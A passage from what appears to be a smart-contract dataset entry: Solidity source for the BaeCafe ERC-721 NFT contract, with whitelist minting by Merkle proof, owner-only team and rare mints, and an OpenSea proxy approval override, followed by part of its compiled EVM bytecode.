mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
pragma solidity ^0.8.0;
contract BaeCafe is ERC721, Ownable {
using Counters for Counters.Counter;
uint256 public immutable MAX_HANA = 3069;
uint256 public constant TOTAL_RARES = 5;
uint256 public constant totalWhitelistMint = 2905;
uint256 public constant totalTeamMint = 159;
uint256 public constant maxBaePurchase = 4;
uint256 public constant baePrice = 80080000000000000; //0.08008 ETH
bytes32 public merkleRoot;
string public baseURI;
bool public saleIsActive = false;
uint256 public countTeamMint = 0;
Counters.Counter public countMintedWhitelist;
Counters.Counter public countRareMint;
Counters.Counter private _tokenIds;
mapping(address => uint256) private MINTED_WHITELIST;
address private openSeaProxyRegistryAddress;
constructor(
string memory name_,
string memory symbol_,
bytes32 merkleRoot_,
string memory baseURI_,
address openSeaProxyRegistryAddress_
) Ownable() ERC721(name_, symbol_) {
merkleRoot = merkleRoot_;
baseURI = baseURI_;
openSeaProxyRegistryAddress = openSeaProxyRegistryAddress_;
}
/**
* Function to withdraw
*/
function withdraw() public onlyOwner {
Address.sendValue(payable(msg.sender), address(this).balance);
}
/**
* Function return total supply
*/
function totalSupply() external view returns (uint256) {
return _tokenIds.current() + countRareMint.current();
}
/**
* Function to set MerkleRoot
*/
function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
merkleRoot = merkleRoot_;
}
/*
* Pause sale if active, make active if paused
*/
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
/**
* Function to set the base URI for all token IDs.
*/
function setBaseURI(string memory newURI) public onlyOwner {
baseURI = newURI;
}
/**
* Set some Baes aside
*/
function teamMint(address to, uint256 amountToMint) public onlyOwner {
require(
_tokenIds.current() + amountToMint <= MAX_HANA - TOTAL_RARES,
"Exceed max supply of Baes"
);
require(
countTeamMint + amountToMint <= totalTeamMint,
"Exceed max TeamMint"
);
countTeamMint += amountToMint;
for (uint256 i = 1; i <= amountToMint; i++) {
_mintNFT(to);
}
}
/**
* Manually mint 1/1 rares afterward.
*/
function rareMint(address to) public onlyOwner {
require(countRareMint.current() < TOTAL_RARES, "Exceed max rareMint");
countRareMint.increment();
_mint(to, MAX_HANA - countRareMint.current() + 1);
}
/**
* Get total minted of an address
*/
function mintedOf(address minter) public view virtual returns (uint256) {
return MINTED_WHITELIST[minter];
}
/**
* Mints Baes
*/
function mintWhitelist(
uint256 availableToMint,
uint256 amountToMint,
bytes32[] calldata merkleProof
) public payable {
require(saleIsActive, "Sale must be active to mint Bae");
require(
MINTED_WHITELIST[msg.sender] + amountToMint <= maxBaePurchase &&
MINTED_WHITELIST[msg.sender] + amountToMint <=
availableToMint &&
countMintedWhitelist.current() + amountToMint <=
totalWhitelistMint,
"Trying to mint too many"
);
require(
baePrice * amountToMint <= msg.value,
"Ether value sent is not correct"
);
require(
_tokenIds.current() + amountToMint <= MAX_HANA - TOTAL_RARES,
"Purchase would exceed max supply of Baes"
);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(msg.sender, availableToMint));
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"Invalid Merkle Proof."
);
MINTED_WHITELIST[msg.sender] += amountToMint;
for (uint256 i = 1; i <= amountToMint; i++) {
countMintedWhitelist.increment();
_mintNFT(msg.sender);
}
}
function _mintNFT(address to) internal {
uint256 newTokenId = _tokenIds.current() + 1;
require(
newTokenId <= MAX_HANA - TOTAL_RARES,
"Exceed max supply of Baes"
);
_tokenIds.increment();
_mint(to, newTokenId);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
/**
* @dev Override isApprovedForAll to allowlist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// Get a reference to OpenSea's proxy registry contract by instantiating
// the contract using the already existing address.
ProxyRegistry proxyRegistry = ProxyRegistry(
openSeaProxyRegistryAddress
);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
}
// These contract definitions are used to create a reference to the OpenSea
// ProxyRegistry contract by using the registry's address (see isApprovedForAll).
contract OwnableDelegateProxy {
}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
} | 0x60806040526004361061021a5760003560e01c80636f4684e611610123578063c58d03b0116100ab578063e985e9c51161006f578063e985e9c51461079d578063eb8d2444146107da578063ee49382414610805578063f2fde38b14610821578063f83d636d1461084a5761021a565b8063c58d03b0146106b4578063c87b56dd146106df578063d5c7a1b51461071c578063d884697114610747578063df18b2bb146107725761021a565b80638da5cb5b116100f25780638da5cb5b146105e357806395d89b411461060e578063a22cb46514610639578063add5a4fa14610662578063b88d4fde1461068b5761021a565b80636f4684e61461053b57806370a0823114610566578063715018a6146105a35780637cb64759146105ba5761021a565b806334918dfd116101a657806355f804b31161017557806355f804b314610442578063617692dd1461046b5780636352211e146104a85780636b97fcf4146104e55780636c0360eb146105105761021a565b806334918dfd146103c05780633ccfd60b146103d757806342842e0e146103ee5780634c0cd78d146104175761021a565b80630a99285e116101ed5780630a99285e146102ed5780631766b9cf1461031857806318160ddd1461034157806323b872dd1461036c5780632eb4a7ab146103955761021a565b806301ffc9a71461021f57806306fdde031461025c578063081812fc14610287578063095ea7b3146102c4575b600080fd5b34801561022b57600080fd5b5061024660048036038101906102419190613040565b610875565b604051610253919061371b565b60405180910390f35b34801561026857600080fd5b50610271610957565b60405161027e9190613751565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906130fc565b6109e9565b6040516102bb91906136b4565b60405180910390f35b3480156102d057600080fd5b506102eb60048036038101906102e69190612fdb565b610a6e565b005b3480156102f957600080fd5b50610302610b86565b60405161030f9190613ab3565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a9190612e70565b610b8c565b005b34801561034d57600080fd5b50610356610cab565b6040516103639190613ab3565b60405180910390f35b34801561037857600080fd5b50610393600480360381019061038e9190612ed5565b610cd0565b005b3480156103a157600080fd5b506103aa610d30565b6040516103b79190613736565b60405180910390f35b3480156103cc57600080fd5b506103d5610d36565b005b3480156103e357600080fd5b506103ec610dde565b005b3480156103fa57600080fd5b5061041560048036038101906104109190612ed5565b610e66565b005b34801561042357600080fd5b5061042c610e86565b6040516104399190613ab3565b60405180910390f35b34801561044e57600080fd5b50610469600480360381019061046491906130bb565b610e8c565b005b34801561047757600080fd5b50610492600480360381019061048d9190612e70565b610f22565b60405161049f9190613ab3565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca91906130fc565b610f6b565b6040516104dc91906136b4565b60405180910390f35b3480156104f157600080fd5b506104fa61101d565b6040516105079190613ab3565b60405180910390f35b34801561051c57600080fd5b50610525611022565b6040516105329190613751565b60405180910390f35b34801561054757600080fd5b506105506110b0565b60405161055d9190613ab3565b60405180910390f35b34801561057257600080fd5b5061058d60048036038101906105889190612e70565b6110b5565b60405161059a9190613ab3565b60405180910390f35b3480156105af57600080fd5b506105b861116d565b005b3480156105c657600080fd5b506105e160048036038101906105dc9190613017565b6111f5565b005b3480156105ef57600080fd5b506105f861127b565b60405161060591906136b4565b60405180910390f35b34801561061a57600080fd5b506106236112a5565b6040516106309190613751565b60405180910390f35b34801561064557600080fd5b50610660600480360381019061065b9190612f9f565b611337565b005b34801561066e57600080fd5b5061068960048036038101906106849190612fdb565b61134d565b005b34801561069757600080fd5b506106b260048036038101906106ad9190612f24565b6114e5565b005b3480156106c057600080fd5b506106c9611547565b6040516106d69190613ab3565b60405180910390f35b3480156106eb57600080fd5b50610706600480360381019061070191906130fc565b611553565b6040516107139190613751565b60405180910390f35b34801561072857600080fd5b506107316115fa565b60405161073e9190613ab3565b60405180910390f35b34801561075357600080fd5b5061075c61161e565b6040516107699190613ab3565b60405180910390f35b34801561077e57600080fd5b5061078761162a565b6040516107949190613ab3565b60405180910390f35b3480156107a957600080fd5b506107c460048036038101906107bf9190612e99565b61162f565b6040516107d1919061371b565b60405180910390f35b3480156107e657600080fd5b506107ef611731565b6040516107fc919061371b565b60405180910390f35b61081f600480360381019061081a9190613125565b611744565b005b34801561082d57600080fd5b5061084860048036038101906108439190612e70565b611abe565b005b34801561085657600080fd5b5061085f611bb6565b60405161086c9190613ab3565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061094057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610950575061094f82611bc2565b5b9050919050565b60606000805461096690613d8a565b80601f016020809104026020016040519081016040528092919081815260200182805461099290613d8a565b80156109df5780601f106109b4576101008083540402835291602001916109df565b820191906000526020600020905b8154815290600101906020018083116109c257829003601f168201915b5050505050905090565b60006109f482611c2c565b610a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2a906139f3565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a7982610f6b565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae190613a53565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b09611c98565b73ffffffffffffffffffffffffffffffffffffffff161480610b385750610b3781610b32611c98565b61162f565b5b610b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6e90613953565b60405180910390fd5b610b818383611ca0565b505050565b600a5481565b610b94611c98565b73ffffffffffffffffffffffffffffffffffffffff16610bb261127b565b73ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90613a13565b60405180910390fd5b6005610c14600c611d59565b10610c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4b90613933565b60405180910390fd5b610c5e600c611d67565b610ca8816001610c6e600c611d59565b7f0000000000000000000000000000000000000000000000000000000000000bfd610c999190613c84565b610ca39190613ba3565b611d7d565b50565b6000610cb7600c611d59565b610cc1600d611d59565b610ccb9190613ba3565b905090565b610ce1610cdb611c98565b82611f57565b610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1790613a73565b60405180910390fd5b610d2b838383612035565b505050565b60075481565b610d3e611c98565b73ffffffffffffffffffffffffffffffffffffffff16610d5c61127b565b73ffffffffffffffffffffffffffffffffffffffff1614610db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da990613a13565b60405180910390fd5b600960009054906101000a900460ff1615600960006101000a81548160ff021916908315150217905550565b610de6611c98565b73ffffffffffffffffffffffffffffffffffffffff16610e0461127b565b73ffffffffffffffffffffffffffffffffffffffff1614610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5190613a13565b60405180910390fd5b610e64334761229c565b565b610e81838383604051806020016040528060008152506114e5565b505050565b610b5981565b610e94611c98565b73ffffffffffffffffffffffffffffffffffffffff16610eb261127b565b73ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90613a13565b60405180910390fd5b8060089080519060200190610f1e929190612c20565b5050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100b90613993565b60405180910390fd5b80915050919050565b600481565b6008805461102f90613d8a565b80601f016020809104026020016040519081016040528092919081815260200182805461105b90613d8a565b80156110a85780601f1061107d576101008083540402835291602001916110a8565b820191906000526020600020905b81548152906001019060200180831161108b57829003601f168201915b505050505081565b600581565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611126576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111d90613973565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611175611c98565b73ffffffffffffffffffffffffffffffffffffffff1661119361127b565b73ffffffffffffffffffffffffffffffffffffffff16146111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e090613a13565b60405180910390fd5b6111f36000612390565b565b6111fd611c98565b73ffffffffffffffffffffffffffffffffffffffff1661121b61127b565b73ffffffffffffffffffffffffffffffffffffffff1614611271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126890613a13565b60405180910390fd5b8060078190555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546112b490613d8a565b80601f01602080910402602001604051908101604052809291908181526020018280546112e090613d8a565b801561132d5780601f106113025761010080835404028352916020019161132d565b820191906000526020600020905b81548152906001019060200180831161131057829003601f168201915b5050505050905090565b611349611342611c98565b8383612456565b5050565b611355611c98565b73ffffffffffffffffffffffffffffffffffffffff1661137361127b565b73ffffffffffffffffffffffffffffffffffffffff16146113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c090613a13565b60405180910390fd5b60057f0000000000000000000000000000000000000000000000000000000000000bfd6113f69190613c84565b81611401600d611d59565b61140b9190613ba3565b111561144c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611443906139d3565b60405180910390fd5b609f81600a5461145c9190613ba3565b111561149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613833565b60405180910390fd5b80600a60008282546114af9190613ba3565b925050819055506000600190505b8181116114e0576114cd836125c3565b80806114d890613ded565b9150506114bd565b505050565b6114f66114f0611c98565b83611f57565b611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c90613a73565b60405180910390fd5b61154184848484612664565b50505050565b600b8060000154905081565b606061155e82611c2c565b61159d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159490613a33565b60405180910390fd5b60006115a76126c0565b905060008151116115c757604051806020016040528060008152506115f2565b806115d184612752565b6040516020016115e292919061367b565b6040516020818303038152906040525b915050919050565b7f0000000000000000000000000000000000000000000000000000000000000bfd81565b600c8060000154905081565b609f81565b600080600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663c4552791866040518263ffffffff1660e01b81526004016116a791906136b4565b60206040518083038186803b1580156116bf57600080fd5b505afa1580156116d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f79190613092565b73ffffffffffffffffffffffffffffffffffffffff16141561171d57600191505061172b565b61172784846128ff565b9150505b92915050565b600960009054906101000a900460ff1681565b600960009054906101000a900460ff16611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a906138f3565b60405180910390fd5b600483600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e09190613ba3565b1115801561183857508383600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118359190613ba3565b11155b801561185a5750610b598361184d600b611d59565b6118579190613ba3565b11155b611899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189090613a93565b60405180910390fd5b348367011c8055f19d00006118ae9190613c2a565b11156118ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e690613873565b60405180910390fd5b60057f0000000000000000000000000000000000000000000000000000000000000bfd61191c9190613c84565b83611927600d611d59565b6119319190613ba3565b1115611972576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196990613893565b60405180910390fd5b6000338560405160200161198792919061364f565b6040516020818303038152906040528051906020012090506119ed838380806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505060075483612993565b611a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2390613853565b60405180910390fd5b83600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a7b9190613ba3565b925050819055506000600190505b848111611ab657611a9a600b611d67565b611aa3336125c3565b8080611aae90613ded565b915050611a89565b505050505050565b611ac6611c98565b73ffffffffffffffffffffffffffffffffffffffff16611ae461127b565b73ffffffffffffffffffffffffffffffffffffffff1614611b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3190613a13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba190613793565b60405180910390fd5b611bb381612390565b50565b67011c8055f19d000081565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611d1383610f6b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081600001549050919050565b6001816000016000828254019250508190555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de4906139b3565b60405180910390fd5b611df681611c2c565b15611e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2d906137d3565b60405180910390fd5b611e42600083836129aa565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e929190613ba3565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611f53600083836129af565b5050565b6000611f6282611c2c565b611fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9890613913565b60405180910390fd5b6000611fac83610f6b565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061201b57508373ffffffffffffffffffffffffffffffffffffffff16612003846109e9565b73ffffffffffffffffffffffffffffffffffffffff16145b8061202c575061202b818561162f565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661205582610f6b565b73ffffffffffffffffffffffffffffffffffffffff16146120ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a2906137b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561211b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612112906137f3565b60405180910390fd5b6121268383836129aa565b612131600082611ca0565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121819190613c84565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121d89190613ba3565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46122978383836129af565b505050565b804710156122df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d6906138d3565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff16826040516123059061369f565b60006040518083038185875af1925050503d8060008114612342576040519150601f19603f3d011682016040523d82523d6000602084013e612347565b606091505b505090508061238b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612382906138b3565b60405180910390fd5b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bc90613813565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516125b6919061371b565b60405180910390a3505050565b600060016125d1600d611d59565b6125db9190613ba3565b905060057f0000000000000000000000000000000000000000000000000000000000000bfd61260a9190613c84565b81111561264c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612643906139d3565b60405180910390fd5b612656600d611d67565b6126608282611d7d565b5050565b61266f848484612035565b61267b848484846129b4565b6126ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b190613773565b60405180910390fd5b50505050565b6060600880546126cf90613d8a565b80601f01602080910402602001604051908101604052809291908181526020018280546126fb90613d8a565b80156127485780601f1061271d57610100808354040283529160200191612748565b820191906000526020600020905b81548152906001019060200180831161272b57829003601f168201915b5050505050905090565b6060600082141561279a576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506128fa565b600082905060005b600082146127cc5780806127b590613ded565b915050600a826127c59190613bf9565b91506127a2565b60008167ffffffffffffffff81111561280e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156128405781602001600182028036833780820191505090505b5090505b600085146128f3576001826128599190613c84565b9150600a856128689190613e64565b60306128749190613ba3565b60f81b8183815181106128b0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856128ec9190613bf9565b9450612844565b8093505050505b919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000826129a08584612b4b565b1490509392505050565b505050565b505050565b60006129d58473ffffffffffffffffffffffffffffffffffffffff16612be6565b15612b3e578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026129fe611c98565b8786866040518563ffffffff1660e01b8152600401612a2094939291906136cf565b602060405180830381600087803b158015612a3a57600080fd5b505af1925050508015612a6b57506040513d601f19601f82011682018060405250810190612a689190613069565b60015b612aee573d8060008114612a9b576040519150601f19603f3d011682016040523d82523d6000602084013e612aa0565b606091505b50600081511415612ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612add90613773565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612b43565b600190505b949350505050565b60008082905060005b8451811015612bdb576000858281518110612b98577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050808311612bba57612bb38382612c09565b9250612bc7565b612bc48184612c09565b92505b508080612bd390613ded565b915050612b54565b508091505092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600082600052816020526040600020905092915050565b828054612c2c90613d8a565b90600052602060002090601f016020900481019282612c4e5760008555612c95565b82601f10612c6757805160ff1916838001178555612c95565b82800160010185558215612c95579182015b82811115612c94578251825591602001919060010190612c79565b5b509050612ca29190612ca6565b5090565b5b80821115612cbf576000816000905550600101612ca7565b5090565b6000612cd6612cd184613af3565b613ace565b905082815260208101848484011115612cee57600080fd5b612cf9848285613d48565b509392505050565b6000612d14612d0f84613b24565b613ace565b905082815260208101848484011115612d2c57600080fd5b612d37848285613d48565b509392505050565b600081359050612d4e816145b0565b92915050565b60008083601f840112612d6657600080fd5b8235905067ffffffffffffffff811115612d7f57600080fd5b602083019150836020820283011115612d9757600080fd5b9250929050565b600081359050612dad816145c7565b92915050565b600081359050612dc2816145de565b92915050565b600081359050612dd7816145f5565b92915050565b600081519050612dec816145f5565b92915050565b600082601f830112612e0357600080fd5b8135612e13848260208601612cc3565b91505092915050565b600081519050612e2b8161460c565b92915050565b600082601f830112612e4257600080fd5b8135612e52848260208601612d01565b91505092915050565b600081359050612e6a81614623565b92915050565b600060208284031215612e8257600080fd5b6000612e9084828501612d3f565b91505092915050565b60008060408385031215612eac57600080fd5b6000612eba85828601612d3f565b9250506020612ecb85828601612d3f565b9150509250929050565b600080600060608486031215612eea57600080fd5b6000612ef886828701612d3f565b9350506020612f0986828701612d3f565b9250506040612f1a86828701612e5b565b9150509250925092565b60008060008060808587031215612f3a57600080fd5b6000612f4887828801612d3f565b9450506020612f5987828801612d3f565b9350506040612f6a87828801612e5b565b925050606085013567ffffffffffffffff811115612f8757600080fd5b612f9387828801612df2565b91505092959194509250565b60008060408385031215612fb257600080fd5b6000612fc085828601612d3f565b9250506020612fd185828601612d9e565b9150509250929050565b60008060408385031215612fee57600080fd5b6000612ffc85828601612d3f565b925050602061300d85828601612e5b565b9150509250929050565b60006020828403121561302957600080fd5b600061303784828501612db3565b91505092915050565b60006020828403121561305257600080fd5b600061306084828501612dc8565b91505092915050565b60006020828403121561307b57600080fd5b600061308984828501612ddd565b91505092915050565b6000602082840312156130a457600080fd5b60006130b284828501612e1c565b91505092915050565b6000602082840312156130cd57600080fd5b600082013567ffffffffffffffff8111156130e757600080fd5b6130f384828501612e31565b91505092915050565b60006020828403121561310e57600080fd5b600061311c84828501612e5b565b91505092915050565b6000806000806060858703121561313b57600080fd5b600061314987828801612e5b565b945050602061315a87828801612e5b565b935050604085013567ffffffffffffffff81111561317757600080fd5b61318387828801612d54565b925092505092959194509250565b61319a81613cb8565b82525050565b6131b16131ac82613cb8565b613e36565b82525050565b6131c081613cca565b82525050565b6131cf81613cd6565b82525050565b60006131e082613b55565b6131ea8185613b6b565b93506131fa818560208601613d57565b61320381613f51565b840191505092915050565b600061321982613b60565b6132238185613b87565b9350613233818560208601613d57565b61323c81613f51565b840191505092915050565b600061325282613b60565b61325c8185613b98565b935061326c818560208601613d57565b80840191505092915050565b6000613285603283613b87565b915061329082613f6f565b604082019050919050565b60006132a8602683613b87565b91506132b382613fbe565b604082019050919050565b60006132cb602583613b87565b91506132d68261400d565b604082019050919050565b60006132ee601c83613b87565b91506132f98261405c565b602082019050919050565b6000613311602483613b87565b915061331c82614085565b604082019050919050565b6000613334601983613b87565b915061333f826140d4565b602082019050919050565b6000613357601383613b87565b9150613362826140fd565b602082019050919050565b600061337a601583613b87565b915061338582614126565b602082019050919050565b600061339d601f83613b87565b91506133a88261414f565b602082019050919050565b60006133c0602883613b87565b91506133cb82614178565b604082019050919050565b60006133e3603a83613b87565b91506133ee826141c7565b604082019050919050565b6000613406601d83613b87565b915061341182614216565b602082019050919050565b6000613429601f83613b87565b91506134348261423f565b602082019050919050565b600061344c602c83613b87565b915061345782614268565b604082019050919050565b600061346f601383613b87565b915061347a826142b7565b602082019050919050565b6000613492603883613b87565b915061349d826142e0565b604082019050919050565b60006134b5602a83613b87565b91506134c08261432f565b604082019050919050565b60006134d8602983613b87565b91506134e38261437e565b604082019050919050565b60006134fb602083613b87565b9150613506826143cd565b602082019050919050565b600061351e601983613b87565b9150613529826143f6565b602082019050919050565b6000613541602c83613b87565b915061354c8261441f565b604082019050919050565b6000613564602083613b87565b915061356f8261446e565b602082019050919050565b6000613587602f83613b87565b915061359282614497565b604082019050919050565b60006135aa602183613b87565b91506135b5826144e6565b604082019050919050565b60006135cd600083613b7c565b91506135d882614535565b600082019050919050565b60006135f0603183613b87565b91506135fb82614538565b604082019050919050565b6000613613601783613b87565b915061361e82614587565b602082019050919050565b61363281613d3e565b82525050565b61364961364482613d3e565b613e5a565b82525050565b600061365b82856131a0565b60148201915061366b8284613638565b6020820191508190509392505050565b60006136878285613247565b91506136938284613247565b91508190509392505050565b60006136aa826135c0565b9150819050919050565b60006020820190506136c96000830184613191565b92915050565b60006080820190506136e46000830187613191565b6136f16020830186613191565b6136fe6040830185613629565b818103606083015261371081846131d5565b905095945050505050565b600060208201905061373060008301846131b7565b92915050565b600060208201905061374b60008301846131c6565b92915050565b6000602082019050818103600083015261376b818461320e565b905092915050565b6000602082019050818103600083015261378c81613278565b9050919050565b600060208201905081810360008301526137ac8161329b565b9050919050565b600060208201905081810360008301526137cc816132be565b9050919050565b600060208201905081810360008301526137ec816132e1565b9050919050565b6000602082019050818103600083015261380c81613304565b9050919050565b6000602082019050818103600083015261382c81613327565b9050919050565b6000602082019050818103600083015261384c8161334a565b9050919050565b6000602082019050818103600083015261386c8161336d565b9050919050565b6000602082019050818103600083015261388c81613390565b9050919050565b6000602082019050818103